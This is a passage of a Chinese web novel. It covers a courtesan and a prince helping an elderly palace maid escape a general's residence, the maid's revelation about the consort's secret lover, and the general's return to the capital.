正经了神色,徐怀祖道:“本来我也不急着成亲,就算要成亲,也不能跟这样的女子成亲,太麻烦了,话又多,幸好有姑娘在前,还可以试探一二,若当真盲婚哑嫁,怕是要铸成两个人的不幸。”
风月恍然:“这么一说奴婢功劳还不小?”
“是的,去找师父邀功去!”咧嘴一笑,徐怀祖拉了她就往主院走。
殷戈止正在听易掌珠说话,易掌珠高高兴兴地夸了宋若词好一通,正说到“为人沉稳不小气”,就听得外头一串儿哭声由远及近。
愕然抬头,便看得沉稳的宋小姐哭花了脸跑进来,坐在易掌珠旁边就泣不成声。
“怎么了这是?”易掌珠吓着了:“谁欺负你了?”
“风……风月。”脸上花成一片,宋若词哽咽道:“他们太欺负人了!”
风月?易掌珠脸色微沉,转头看了殷戈止一眼。
殷戈止立马严肃起来,侧头问观止:“风月人呢?”
观止颔首,正要去找,就见徐怀祖跟风月姑娘一起进门来了。
“你做了什么?”殷戈止很是不悦地问:“怎么惹哭了宋家小姐?”
风月无辜地跪下:“奴婢什么也没做啊,宋小姐让奴婢回避,奴婢就一直站在庭院里,没说过一句话!”
徐怀祖点头:“徒儿可以作证,她当真是一句话都没说。”
见状,宋若词起身就又想走,却被易掌珠一巴掌按了下来,皱眉看着徐怀祖道:“一句话没说,怎么把人气哭了?”
“在下也不是很明白宋小姐在哭什么。”徐怀祖皱眉:“在下夸宋小姐聪慧少言,是个不在背后嚼人舌根的好姑娘,都还没夸完呢,她就哭着走了。宋小姐,你是不是很不喜欢在下?所以故意要在下如此难堪?”
到底谁让谁难堪啊?!宋若词气急,张口就道:“你分明是讽刺我长舌妇,爱说人是非,却说是什么夸奖?!”
“宋小姐怎么如此说自己?”徐怀祖皱眉:“就算你当真说了人是非,在下也没有看不起的意思,是真心想跟小姐好,所以说话哄小姐开心而已。”
一听这话,易掌珠立马转头劝道:“你这么小心眼做什么?很快就是一家人了,难不成玩笑都开不得?”
“他那哪里是玩笑?”宋若词委屈极了,眼泪成串地掉。从小到大谁给过她那种脸色啊,偏偏是自己未来的夫君,她一想起来就难受。
“差不多得了。”易掌珠皱眉,压低声音道:“先前你自个儿不也说,这桩婚事难得吗?现在怎么的,想自己破坏了去?”
“可是……”宋若词扁嘴:“他压根不喜欢我,看起来还很讨厌我……”
“那有什么,来日方长啊。”易掌珠摇头:“女人就该温柔体贴点,男人爱说什么,你让他说去就好了。时间久了,陪在他身边的人还是你,他自然懂得珍惜了。”
哭声缓和了下来,宋若词疑惑地看着易掌珠:“是这样吗?”
“是啊。”易掌珠道:“宁毁一座庙,不拆一桩亲,既然已经定下婚事,你也该多忍让。”
有道理,宋若词抿唇,连忙擦干了眼泪,抬头看着徐怀祖道:“既然是小女子误会了,那就在这儿给公子赔个不是。”
徐怀祖眯眼,看了易掌珠一眼,笑道:“易小姐真是善良体贴。”
“徐少爷过奖。”易掌珠眉目温和地道:“你们两个是天定的缘分,那就该好好相处。”
“可是,方才宋小姐那
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一顿哭,已经吓着了在下。”徐怀祖叹息:“在下觉得,宋小姐这样的女子,在下无福消受。”
心里一慌,宋若词连忙道:“方才是我不对,公子别往心里去……”
“已经往心里去了。”锤了锤心口,徐怀祖痛苦地道:“往后小姐就算嫁过来,恐怕在下也难以给付真心,日子也许不太好过。”
宋若词急了,扯了扯易掌珠的袖子,小声道:“我可不想嫁过去受冷落啊。”
“你自己惹出来的,怪得了谁?”拂开她的手,易掌珠低声道:“想嫁就低眉顺眼一点,不想嫁我也拿你没什么办法。”
要嫁人,必须得忍这么多东西吗?宋若词心里堵得慌,又开始拿帕子擦眼泪,低着头不吭声了。
风月默默地站到殷戈止旁边去,感叹了一句:“名师出高徒。”
“过奖。”殷戈止唇齿不动,声音模糊地道:“都是当师父的教导有方。”
这还骄傲上了?风月咂舌,心想原来这人脸皮的厚度是与日俱增的。
不过同样的事情,殷戈止也遇见过,处理起来比徐怀祖还简单粗暴得多。
当年想进殷大皇子东宫为妃之人数不胜数,皇帝千挑万挑,浓缩再浓缩,最后也塞了整整八个侧妃给殷戈止。据朝廷内部小道消息,殷大皇子站在皇帝面前冷笑了许久,最后以自己选正妃的条件,收下了八个侧妃。皇帝刚松了口气,打算夸自家这皇儿懂事了,知道体谅父皇的不容易了,结果八个侧妃一入东宫,殷戈止就接了战报,头也不回地上了战场,留下八个费尽心思到他身边的女人在宫里守活寡。
那还不如夜里送去大皇子床上的。
感叹了一番,风月继续抬头看着前头的徐怀祖。
徐家少爷有脾性啊,看着人哭得那么惨也没打算说点什么,拱手就朝殷戈止道:“师父不是说,今日来将军府让徒儿看看轻功的最高境界吗?”
易掌珠一愣,看向殷戈止:“什么轻功?”
殷戈止颔首:“忘记跟你说了,我在教授他们轻功,没别的地方可以拿来试炼,正好这将军府守卫森严,所以想借来一用。”
眼里一亮,易掌珠道:“就是殷哥哥那来去无影的功夫吗?珠儿也想看。”
“那好。”殷戈止道:“就以院子里还堆着的那些书来当物,烦请给贵府守卫说一声,严加注意四周,稍后在下便一人将这些书归去原处。若是惊扰了任何一位守卫,那就是在下学艺不精。”
风月无语望天,这种还东西的方法都想得出来,当真也是因为易大将军不在府上。
易掌珠很是高兴地就应了:“那珠儿就在府里转悠,看能不能撞上殷哥哥一两回。”
徐怀祖也点头,拱手道:“徒儿尽量跟着师父。”
“只要你跟得上。”殷戈止一拍扶手起身,身影如雾,飞快地飘散去了外头。
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第94章 他还没孩子
当真是飘散出去的,众目睽睽之下,除了风月,没一个人看清楚他的动作。
徐怀祖当即拎起衣摆追上去,易掌珠也连忙出门,两人跑得头也不回,就留下个还在嘤嘤哭着的宋小姐坐在大堂里。
瞧着人都走了,她反而轻松了些,擦了擦眼泪,目光怨毒地看了风月一眼。
风月耸肩:“与奴婢何干?”
她今儿什么也没做,话都是她自己在说。徐怀祖本就不喜欢多嘴多舌的女人,撞在刀口上,怪她吗?
“要不是你说我的坏话,徐公子会对我这么大的敌意?”宋若词冷笑:“你倒是好,置身事外,无辜得很!”
“宋小姐。”大堂里没什么人了,风月就笑眯眯地端着殷戈止的茶喝了一口,润了润嗓子然后道:“奴婢何辜?是做什么对不起小姐的事情了,还是德行有失,当着您的面儿勾搭殷殿下了?”
微微一顿,宋若词皱眉:“你一个青楼女子,跟将军府家的小姐过不去,是个人都看不顺眼!”
“所以,看不顺眼奴婢,小姐就大义凛然地赔上自己的婚事,末了当事人在外头玩轻功,您一个人坐在这儿哭?”风月摇头:“您可比易大小姐还菩萨心肠。”
身子僵了僵,宋若词反应过来,看了外头一眼,心里也有些恼火,但顾着面子,还是嘴硬地道:“姐妹一场,帮着出头是应当的。”
“君子之交淡如水,小人之交扎成堆。”风月咯咯笑道:“你们为着所谓的姐妹情谊,不分青红皂白就同仇敌忾,也太草率了。就算有手帕交的感情在,在不明真相之前,也不必为人强出头。况且,易大小姐哪里用得着你们出头。”
她动动手指就能直接捏死她这样的小蚂蚁。
宋若词说不过她,觉得后悔,忍不住又呜咽了起来。她是太冲动了些,弄成现在这个样子,半点余地都没有了。
“想听听奴婢的建议吗?”看她哭得可怜巴巴的,风月便问了一句。
宋若词不哭了,抬头怔愣地看着她,抿了抿唇才道:“你说。”
“徐家公子不喜欢你,那就不必嫁了。”风月坏笑:“找个疼爱你的男人不是更好?本就是高门之女,找人家也不难,与其等着徐家来退婚,不如你大胆点,以今日徐家公子无理为由,硬气地退了他家的婚事。这样既得了徐家的歉意,又保全了小姐的名声。”
脸上一僵,宋若词目光又带了恨:“你就是巴不得我好!”
徐家的婚事多少人抢着想要?她怎么可能去退了?
耸耸肩,风月道:“那您就当奴婢没说罢。”
冷笑一声,宋若词道:“掌珠才是不会害我的人,这姻亲不能拆!你不要我嫁,我偏嫁,嫁得好人家,你自个儿气去吧!”
说罢,提着裙子就起身,进侧堂找镜子补妆。
风月失笑,觉得这种小气的世家小姐也挺有趣的,气起来一跳一跳的,又非得端着架子和规矩,可爱又可怜。
摇摇头,她慢悠悠地抬脚往外走,想去看看殷戈止那边进行的如何了,结果就见徐怀祖蹲在院子里那堆书旁边,很是生气的模样。
“怎么了?”风月问了一句。
徐怀祖恼怒地道:“压根看不见师父的人!怎么跟也跟不上,干脆不如在这儿等,反正他要回来拿这些东西!”
旁边的易掌珠倒是不气,反而有些骄傲地道:“那是你师父轻功卓绝,出入我这将军府都像无人之境。”
风月沉默,心想这位大小姐心真是宽呐,放那么个大魔王在自己家里晃悠,也不怕出事的!
事实上也已经出事了,易将军损失很惨重,等殷戈止把东西都归于原处,那更惨,易将军连怎么损失的都不会知道。
摇头叹息,风月帮着整理了一下院子里放着的书,没一会儿就见殷戈止飞了回来,潇洒地落在庭院里。
“还有一半。”他认真地看着徐怀祖道:“这次看仔细了,跟上我。”
徐怀祖黑着脸摇头:“跟不上,不跟了!”
斜他一眼,殷戈止手里拿了十本书,头上顶了五本,嘴里叼了一本,慢悠悠地往外头走。
这他奶奶的是看不起谁啊?啊!徐少爷怒了,刚刚还说不跟,眼下又“嗷”地一声扑了出去。
易掌珠忍不住赞叹了一声:“殷哥哥真是太厉害了。”
女人对男人的喜欢很容易从崇拜里滋生,风月点头,很是理解易掌珠的心情。
因为她当年也是用这种目光看着殷戈止的。
这人如同天神,无所不能,一把长戟威风凛凛,斩敌千万。偏生为人不稳重,很是嚣张邪佞,与别的端着架子的大将军完全不一样。
可是后来她就明白了,这样的人,只适合远观,不适合亵玩,更不适合对其有什么非分之想。
现在她得到教训了,易大小姐显然还没有。
同情地看她一眼,风月转身,悄无声息地出了主院。
荀嬷嬷的院子依旧一点声音都没有,但是上前扣三扣,门吱呀一声就开了。
“嬷嬷!”笑得甜甜的,风月道:“奴婢来看您啦!”
眼里亮了亮,荀嬷嬷笑了,拉着她的手进去道:“你这丫头来得正好,嬷嬷刚做了麻团,来尝尝。”
“这么巧?”风月道:“那奴婢就有口福了。”
拿了麻团给她,荀嬷嬷道:“我还以为下次见你要很久之后。”
咽了嘴里的麻团,风月笑道:“奴婢受嬷嬷所托,自然要早些来回话。”
想起上次自己让她做的事情,荀嬷嬷一震,眼眶突然就红了:“你……去找了?”
“去了。”风月眯眼笑:“奴婢一进村子就找到了那个叫阿虎的伯伯,他头发有些花白了,但精神很好,还能扛着锄头下地。村里的人都说,他一直在等媳妇回来,所以没有成亲,也没有孩子。”
喉咙一紧,荀嬷嬷嘴唇直哆嗦,好半天才哽咽道:“是吗?”
“是啊。”风月唏嘘:“他问奴婢小兰是不是出了事不回去了,奴婢嘴大,就说了说您现在的状况。阿虎伯伯说……没关系,人活着就好,他还有几十年可以等。”
面前的老
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人哑然,眼里骤然涌出泪水来,吓得风月连忙递帕子过去,柔声道:“他没有怪您,您别难过。”
晶莹的水珠从满是细纹的脸上划下去,荀嬷嬷张嘴呼吸了许久,终于是痛哭出了声:“是我对不住他!这么多年了,他一个人可怎么过的!”
伸手顺着她的背,风月道:“您不也是一个人过的吗?”
“可他娘亲一直想抱孙子的。”挺直的背弯了下来,严肃的荀嬷嬷哭得如同当年刚进宫时候的少女:“先前就一直念叨,说等我出去,一定要生个大胖小子给她抱抱。这都这么多年了……我……我连封信都没能送回去!”
哭声听得人心疼,风月抿唇,站起来抱着她柔声安慰:“咱们想办法送您出去好不好?”
“怎么可能出得去!”荀嬷嬷大哭:“都这么多年了,你真当我没想过法子离开吗?出不去的,没出去两步就会被抓回来!”
厚重庄严的衣裳下头瘦得只有骨头似的,风月吸气,拍着她的背道:“奴婢来想办法。您不会武功,自然逃不出去。若是有人带您,那就不一样了。”
哭声顿止,荀嬷嬷抬头,眼里像是点亮了整个天空的星星,像小女孩似的期盼地问她:“当真?”
“当真。”风月点头,握拳道:“您等奴家去哄人开心,那人开心了,带您出来便不是什么问题。”
荀嬷嬷愕然,看着这丫头松开她,头也不回地往外跑,心里其实是不抱什么希望的。
然而,她是真的很想出去,哪怕有万分之一的机会,她也会祈祷!
风月蹲在东院墙外,没一会儿就看见个影子从头顶飘过。
那影子在看见她的时候顿了顿,还是无声无息地进去了。再出来的时候,一把就将她捞起来,按在了角落的墙上:“找死?”
在这儿等他,引了别人看见他怎么办?
风月抬头,可怜巴巴地道:“实在是有事要殿下帮忙,不得已才在此处恭候。”
殷戈止眯眼,伸手撑在墙上,很是不耐烦地道:“什么事?”
“想请殿下,把荀嬷嬷给偷出府去!”
脚下差点没站稳,殷戈止愕然,不敢置信地看着她:“你疯了?偷个嬷嬷出去做什么?”
“殿下就当帮奴婢一个忙如何?”双手合十,风月眨巴着水汪汪的大眼睛:“就帮个忙。”
冷哼一声,殷戈止转身就想走。
腰带被人一扯,他止住步子,不悦地回头瞪她:“麻烦!”
深吸一口气,风月硬生生憋出眼泪来:“可荀嬷嬷真的太惨了,与爱人分隔几十年,老死在这儿都不能出去见上一面。”
瞧着她这眼泪,殷戈止更暴躁了:“你哭就有用?”
一听这话,风月咬唇,眼泪立马掉得跟瀑布似的,哽咽出声:“殿下……”
黑了半张脸,殷戈止低骂了一声,甩开她就走:“知道了!”
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第95章 宫女的所见所闻
一听这三个字风月立马就抹了脸,笑得兴奋地跟上去道:“她在将军府西边的院子,门口挂着艾草的那个房间。”
殷戈止没理她,却是认真记下了,等书一搬完,顺手就去那院子里,将还在发呆的荀嬷嬷搬到了府外巷子里。
风月回到主院的时候,就看见他正在跟易掌珠辞别:“东西物归原主,在下还有事,先走一步了。”
易掌珠笑着点头,又看了看后头气鼓鼓的徐怀祖,转手就拉了宋若词推去前头。
“徐公子慢走。”不知道是羞的还是恼的,宋家小姐脸蛋通红,身子微微发抖。
徐怀祖抿唇,还她一礼,却是什么也没说,跟着殷戈止就走了。
风月走在最后,回头悄悄看了一眼,就见易掌珠拉着宋若词的手柔声劝着:“没关系的,谁家姑娘要嫁人还没受过点委屈了?”
摇摇头,她拎着裙子就去追前头走得飞快的人。
“师父还有急事?”看他走那么快,徐怀祖都忍不住问了一声。
殷戈止面无表情地道:“再走慢了,她等会可能要生气。”
“谁要生气啊?”追上来的风月好奇地问。
抿了抿唇,殷戈止没回答,出了将军府的门就上了马车,让观止七拐八拐地停在个巷子口,然后面无表情地道:“你们都别过来,我去接个人。”
接人?徐怀祖和观止都一脸茫然,还没问是什么人呢,就见殷大皇子飞快地消失在了巷子里。
风月眯眼,像是想到了什么,立马跳下马车追上去。
荀嬷嬷一脸茫然地在屋顶上吹了三柱香的风,看着下头熙熙攘攘的人群,还是回不过神。
“我出府了?”她喃喃自语。
“对。”冷不防一阵风刮过来,前头不知从哪儿落了个俊朗的男子来,板着脸对她道:“出来了,现在我带你下去。不要惊叫,有点高。”
哆哆嗦嗦地爬上殷戈止的背,荀嬷嬷瞪大了眼:“您……”
“有什么话,回去问风月即可。”
咻——地一下从屋顶上落到地面,荀嬷嬷吓得心都快停止跳动了,额头上冷汗涔涔,张大嘴不知道说什么好。
殷戈止看得有点为难,就这么把人带回去,那小妖精要是又哭怎么办?还是先让她歇会儿吧。
于是,顺手就将荀嬷嬷放在巷子里的大酒坛子上,冷漠地看着。
背后突然有声音问:“殿下,您打算用荀嬷嬷泡酒?”
有些走神没注意四周,冷不防被这声音吓了一跳,殷戈止抿唇,很是镇定地转头看着风月道:“没有,她有些累,我让她在这里休息休息。”
疑惑地看他一眼,风月连忙走过去将荀嬷嬷扶下来,轻声问:“您还好吗?”
呆愣地看着她,荀嬷嬷僵硬地点头:“无妨,无妨……”
“没事就好。”风月笑道:“咱们回去说话吧。”
转身要走,荀嬷嬷却没动,于是被她扯得一个趔趄。
风月一顿,转头看着她:“怎么了?”
“腿……有点发软。”荀嬷嬷哆哆嗦嗦地说着,看了那头的殷戈止一眼,道:“缓缓才能好。”
来得晚了没看见刚刚殷戈止的壮举,所以风月只当荀嬷嬷是终于出了将军府太兴奋了,于是就乖乖地等着她缓过来。
殷戈止摸了摸鼻尖,一本正经地道:“忙帮完了,我先上车去。”
“好。”朝他笑得灿烂,风月目送他出巷子,然后挤眉弄眼地看着荀嬷嬷:“您瞧,咱们这不是出来了吗?”
心有余悸地看了看地面,荀嬷嬷长叹一口气,总算是缓过神了,眼里又有了水光:“殿下……竟然会做这种事。你……”
她刚想问,你是不是跟殿下关系甚好,就见旁边这人一把抓过她的手背起她,话语带笑:“殿下是个心肠极好的人,知道您的难处,就将您救出来了。”
心肠极好的人?想了想那位殿下的威名,荀嬷嬷摇头。
完全看不出来啊!
车上人多了起来,徐怀祖在看见荀嬷嬷的时候,嘴巴长得老大:“师父,这是谁?”
坐得有些挤,殷戈止伸手就将风月捞进怀里,然后舒坦地坐着道:“风月的远房亲戚。”
风月跟着傻笑点头,荀嬷嬷愕然地看着他们,低头沉默。
徐怀祖心大,也当真没多问,只夸了一句:“这位大婶气质不俗,跟宫里的教**嬷嬷有得一比。”
荀嬷嬷颔首致谢,风月继续傻笑。
可不
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就是教**嬷嬷吗!
超载的车艰难地回到了使臣府,殷戈止扔了风月去安置荀嬷嬷,转头就对上观止担忧的神色。
“主子。”他低声道:“您没有发觉您最近越来越……宠着风月姑娘了吗?”
远房亲戚怎么也能住在使臣府?
皱了皱眉,殷戈止认真地低头反省片刻,然后问:“有吗?”
观止扶额:“您竟然半点没察觉?”
摆摆手,殷戈止道:“现在有用,先宠着。”
观止一愣,神色更加复杂,看着自家主子远去的背影,忍不住叹了口气。
欺人不易,自欺倒是简单。
风月高高兴兴地把荀嬷嬷安顿在了客院,然后抱着被子就滚去了殷戈止的床上,一脸讨好地笑:“殿下,奴婢能来您这儿蹭床睡吗?”
桌边的殷戈止看着手里的东西,头也不抬地道:“你要是先问过我再滚上去,会显得更有诚意。”
“嘿嘿嘿。”风月麻利地就把自个儿的被子放好,然后趴在冰凉的玉席上,舒服地叹了口气。
书上的字看不进去了,殷戈止抬眼睨了睨床上的人。
他好像当真对她太温柔了,以至于这人都敢在他床榻上瞎蹦跶了,这该怎么办呢?
荀嬷嬷在使臣府睡了一夜,第二天起得很早,风月打开门的时候,她已经在院子里穿戴整齐了。
“我要走了。”眼里的愁绪消散得干干净净,荀嬷嬷笑起来分外慈祥:“我得去找他,可不能让他再等了。临走之前,有些话嬷嬷想告诉你。”
风月点头,关上门让殷戈止继续睡,出去到她身边乖巧地看着她。
“我在易贵妃身边多年,替她教训过人,也伺候过她的起居。看见过一些不太光彩的事情,也见过易贵妃在宫里夜夜垂泪到天明。”
“易贵妃是有心上人的,我常听她唤‘麒麟’,睡着了唤,醒着一个人的时候也唤。她经常写家书去将军府,怎么送出去的我不知道,但半个月能有十几封东西,封在一个信封里送走。这些,便是我这么多年的所见所闻。”
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第96章 麒麟将军
麒麟?风月点头,却忍不住问:“您告诉奴婢这些做什么?”
叹息一声,荀嬷嬷道:“本来不是什么秘密,也不算什么重要的事情。但因着这些东西,我被关在将军府二十多年,想想也觉得不甘心,总要找个人说出来才舒坦。”
风月失笑,示意她在原地等着,然后无声无息地回了一趟屋子。
再出来的时候,手里就多出一叠银票来:“知道这些事情,足以让易将军回城的时候派人追查你的下落了。嬷嬷,带上阿虎伯伯,能有多远走多远吧。”
微微一顿,荀嬷嬷低头行礼:“你我萍水相逢,受此重馈颇为不妥,我与他都有手有脚,不会饿死的。”
回头看了一眼紧闭的门,风月使劲儿将银票塞进她怀里,小声道:“反正不是我的银子,您就当是殿下的大恩大德吧。”
荀嬷嬷一惊,连忙摇头:“身为奴婢,怎么能偷……”
“不是偷的!”风月满脸严肃:“奴婢怎么会做这种事!”
看她这神情,荀嬷嬷松了口气道:“你是我教过的那么多的人里头,最懂规矩的一个。”
风月连连点头,对啊对啊,她可懂规矩了!
不过懂是一回事,守不守就是另外一回事了。
天刚破晓,风月拎起睡得迷迷糊糊的灵殊,让她跟观止一起将荀嬷嬷送出城,然后蹑手蹑脚地回去主院,轻轻地推开虚掩着的门。
应该没被发现吧?风月侥幸地想着,偷偷摸摸地进去将门合上,然后转身。
“啊!”
冷不防对上个人的眼睛,风月吓得差点翻白眼。
殷戈止靠在门后,衣裳都没穿整齐,衣襟敞开,露出结实的胸膛,腰带松松垮垮地系着,难得没掉下去。一听她这尖叫,他不悦地伸手堵了自己的耳朵。衣袖滑落下小臂,手臂的线条分外好看。
“吵**了。”低斥一声,他道:“做贼心虚?”
伸手捂了捂心口,风月气得跺脚:“您醒了不会说一声吗?躲在这里吓人做什么!”
轻哼一声,殷戈止扛起她就往床榻的方向走:“你这么偷偷摸摸的,我要是直接告诉你我醒了,你还怎么偷银票?”
“都说了不是偷!”风月鼓嘴:“那是您还奴婢的,上回在梦回楼,您拿了奴婢的银票!”
“理直气壮。”冷哼一声,殷戈止一爪子将她拍在床上,不满地道:“好生睡觉,再乱动弹,你就滚回去自己睡!”
感受了一下玉席的凉意,风月老实了,依偎在这位大爷的身边,再也没敢动弹一下。
荀嬷嬷坐在马车上,车慢悠悠地从北城门出去,刚出门口,就听得一阵马蹄声由远及近。那声音震天,少说也有四五十匹马同时在狂奔。
驾车的观止反应极快,顺手就把缰绳塞进了灵殊手里,自己钻进了车厢。
灵殊半睡半醒,迷迷糊糊地接着缰绳,抬头往前看了一眼。
深蓝色的旌旗,上头一个硕大的“易”字,迎风烈烈,直接从面前飞了过去。
“易?”灵殊眨眼,转头掀开车帘看着观止道:“易将军回城啦?”
荀嬷嬷吓得脸色苍白,连忙拉下车帘死死地按着。观止倒是镇定,低声道:“你继续往前驾车,到了那村子再说。”
“好。”灵殊点头,捏着缰绳看了看,学着观止的样子一挥:“驾!”
本来是慢悠悠走着的马,瞬间狂奔了起来,带着他们从易家军旁边经过,安全地驶出了易大将军的视线。
日上三竿的时候,不阴城已经炸开了锅,独使臣府这两人慢慢悠悠地更衣洗漱,一点也不着急。
“主子!”观止从外头回来,着急地道:“出大事了!”
“来喝口茶。”风月一边用膳一边递给他茶杯。
都什么时候了还喝茶?观止瞪眼:“易将军回来了!”
桌上两个人一个盛饭,一个优雅地吃饭,半点也没被惊到。
“这事,昨日太子就说过了。”慢悠悠地盛了一碗饭给风月,殷戈止道:“他回来,该着急的是太子殿下,与咱们这些闲人有什么干系?”
风月点头:“就是!”然后接过碗来继续吃。
观止愕然,看看这个又看看那个,突然觉得好像当真是自己大惊小怪了。对啊,他着什么急啊?
不阴城的街道上响起了连绵不断的马蹄声,并着铁甲碰撞的铿锵之音,齐齐地朝宫城而去。
宫门缓缓打开,叶御卿一身太子朝服,笑着迎上远处那深蓝的旌旗。
“大将军一路辛苦。”
传闻里受了重伤的易大将军此时满脸严肃,浓眉细眼之间染了不少灰尘。一身铠甲也不知是多久没脱过,站得远都能闻见浓重的汗味儿。
“不敢劳太子殿下远迎。”翻身下马,易国如半跪拱手:“老臣有负皇恩,特地来向陛下请罪。”
“大将军何出此言?”叶御卿上前,低腰双手将他扶起来,一脸钦佩地道:“您已经是为国鞠躬尽瘁,一次战败,父皇也不会怪罪。”
“殿下仁德。”易国如终于笑了笑,拱手道:“有您这样的太子,是吴国之福。”
“哪里哪里,有您这样的将军,才是吴国之福。”
两个人笑得虚情假意地好一番行礼推让,最后还是一起进了宫门。
使臣府,主院软榻上。
风月抱着个枕头问:“易大将军会怎么做呢?”
殷戈止抱着个风月以及一个枕头道:“按兵不动,止血养伤。”
“可他就不气太子吗?”风月眨眼:“尤其您还让安世冲把护城军的练兵场挪去了北郊,正对着易大将军的归途诶!大将军如此敏感多疑之人,定然会觉得太子已经对他生了戒心,一旦太子继位,他这大将军肯定没个好下场。”
伸手搁在旁边的手枕上撑着下巴,殷戈止看着怀里这人道:“你倒是聪明。”
背后一凉,风月立马往他胸膛上一靠,笑着抬头道:“都是您教得好啊!”
“哦?”殷戈止道:“我不记得自己告诉过你,护城军的练兵场换了位置。”
笑意一僵,风月低头:“奴家好歹也能收到点风声。”
眯了
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眯眼,殷戈止一把将怀里的人拎得转过身来,面对面地盯着她问:“除了绿豆糕,你到底是怎么传递消息的?”
在他眼皮子底下搞这些名堂,他却半点都没察觉,这本事不小啊!
风月垮了脸:“哪有您这样直接问的?还不给奴家留活路了?”
自己查不出来,竟然还恼羞成怒要她开口说?凭啥?那可是她的筹码。
有些恼怒,殷戈止道:“我很讨厌人在我这儿耍花样。”
“您放心。”风月笑道:“奴婢的花样都是冲着别人耍的,断断不敢在您面前摆弄。不过倒是有件事,殿下,你可知这吴国之中,有没有什么重要的人名麒麟的?”
麒麟?殷戈止垂眸想了片刻,道:“这两字颇大,拿来当名倒是没人受得起,不过易国如年少成名之时号‘麒麟将军’,别的就没听说过了。”
麒麟将军?风月一惊,脸色突然就变得很难看。
“怎么了?”看她这样子,殷戈止正经了起来:“有事?”
“有大事。”眨眨眼看着他,风月问了一句:“您知道易贵妃吗?”
“知道,易大将军同母同父的妹妹。”
干笑两声,风月深吸一口气,皱眉道:“荀嬷嬷走的时候跟我说,易贵妃有个心上人叫麒麟。”
神色古怪起来,殷戈止坐直了身子,看着她问:“当真?”
“荀嬷嬷应该不会骗我。”风月想了想:“她还说易贵妃经常送家书出去,半个月十几封封在一起送,不知道是怎么送出去的,但内容大概咱们已经拿到了。”
沉思片刻,殷戈止抱着她起身,走到对面的花架旁边。风月很自然地就伸手去将花架上摆着的铁盒拿了下来。
里头是上次誊抄的古怪的信。
一封封地展开来看,殷戈止眼里暗色流转。风月也没问,就安静地等着。
片刻之后,殷戈止下颔微微紧缩:“真是千年的老狐狸。”
“怎么?”风月眨眼:“哪里不对劲吗?”
“但愿是我多想。”殷戈止道:“不过宁可信其有,你快想个办法联系太子,让他小心易贵妃。”
幸好还有太子给的印鉴,风月立马就让观止拿着东西去南宫府上报信。转身回来的时候,就看见殷戈止站在屋子里,眼里满是兴奋的神色。
“他可终于回来了。”低沉的声音在屋子里响起,听得风月微微起了点鸡皮疙瘩。
这一瞬间她仿佛又看见了战场上的殷戈止,高举长戟,远远看着对方的元帅,目光热情又嗜血。
正想悄悄退出去,殷戈止却低声道:“风月,你最近要小心。”
难得听他用这种语气喊她的名字,风月顿了顿,继而笑道:“奴婢有什么好小心的?”
“若是我不在,你要出门,就把观止和干将都带上。”殷戈止道:“明日大概将军府的帖子就要过来了,到时候,我只能一个人去。”
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第97章 问罪
风月很想说,您老是成精了吗?连人家明天会给您送帖子都知道?万一大将军忙着其他的事情,想后天送呢?
然而,第二天一大早,将军府的家奴当真恭恭敬敬地递上了请帖:“易将军请殷殿下过府一叙。”
观止拿帖子进来的时候,风月正在给殷戈止更衣,闻言就吓得给他衣带打了个死结:“真来了?!”
低头看了一眼自己的衣裳,殷戈止很是嫌弃地道:“你能不能专心点?”
毕竟是跟着大魔王混的,风月觉得,自己不能那么大惊小怪,显得很没见过世面!于是点点头,拿起另外两条衣带,很专心地又打了个死结。
殷戈止轻轻摇头,不知道是感叹什么,无奈地出了口气。衣裳一穿好,立马把风月扔得远远的,拂袖出门:“观止,守好府里。”
“是!”
看着他那潇洒的背影,风月抓着门框感叹,大人物就是大人物啊,去狼窝都这么镇定,跟去春游似的。不像她,压根不敢在易大将军面前出现。
易国如应该是整个吴国唯一一个认得出她是谁的人。
说来不巧,因为跟着自家老头子行兵打仗,风月见过易国如两回,都是在双方人少主帅正面交战的时候,易国如使一把**,关沧海惯用大刀,这两个半老不老的男人就经常在四周乱战之时,立在最显眼的位置,摆着最耀眼的姿势,相互僵持。
彼时的她没规矩惯了,遇见这种场景,二话不说上去朝着易国如就是一刀。
那时候易国如好像还在郎朗地说着话,就是什么“英雄惜英雄”,什么“有幸与将军一战,在下死而无憾”之类的,反正周围的人都任由他们两人对峙,无人上去打扰,可以尽情地拿将军的架子,耍一代英雄的威风。
然而他没想到魏国阵营里有个不按常理出牌的关清越,上来一刀砍在他手臂上,要不是护甲够硬,那手臂一定会被砍落在地。
易大将军慌了,惊愕地看了动手的人一眼。
关清越抬头,朝他笑得很不恭敬:“你话怎么这么多啊?要打就打啊!”
那张脸英气十足,却分明是个女儿家的,手里的大刀寒光凛凛,力道半分不输男儿!易国如震惊之下,也就牢牢记住了这五官长相。
现在想起来,风月很后悔,要砍他就砍他,砍了就跑不就好了?做什么站在那儿抬着脸跟人呛声啊?虽然呛得那老不死的脸发青,可是现在这情况……万一撞上易国如,那她就是一个钉在墙里的死字啊!
人果然应该多做事少说话!风月扼腕。
一袭白衣飘飘,殷戈止很是优雅地跨进了易大将军府的大门。
脚一落地,十几束寒光骤然朝他冲来!杀气笼罩,气氛凝重!然而,到底是见惯了大场面的人,殷戈止眉毛都没动一下,脚站定,抬头满脸茫然:“在下可是来错了地方?”
四周寒光顿收,易国如穿着常服,笑着迎上来道:“殿下切莫见怪,府里人没调教好,见着人都动刀动枪的。”
说着就假意往后呵斥了一句:“还不退下去?!”
“是!”一片整齐响亮的应答声,震得殷戈止皱眉捂了捂耳朵。
“怠慢了。”易国如朝他拱手,细长的眼睛眯起来道:“殿下里头请。”
好一个下马威啊,摆明一场鸿门宴,你老实点那就是下头的人不懂事冒犯,你不老实……那下头人动刀动枪,等动完了我再教训他们就是了。
殷戈止心里嗤笑,易大将军可真是没自信啊,他回来了,还在府里加守这三十余人,是当他有什么通天的本事?
“殷哥哥!”易掌珠在主院等着,一看见他便笑:“父亲真是看重殷哥哥,还要亲自出去迎。”
殷戈止颔首,宠溺地看她一眼,然后在旁边坐下。
易国如不动声色地看着自家女儿跟他的眼神交流,微微皱眉,复又平了眉间,坐在主位上便笑道:“老夫不在的时候,小女承蒙殿下照顾了。”
“应该的。”殷戈止道:“有照顾不到的地方,也只能请将军多体谅。”
“殿下本事了得,怎么会照顾不到呢?”易国如轻笑:“听闻殿下得了闻风令,最近在京城之中,很是风光呢。”
果然是问罪来了,殷戈止垂眸,轻轻捏着拇指上的玉扳指,长长地叹了口气。
易国如挑眉:“怎么?老夫哪里说得不对吗?”
“将军没有说错,在下只不过觉得太子殿下实在高明,故而感叹一句罢了。”
“哦?”神色微动,易国如问:“太子何处高明?”
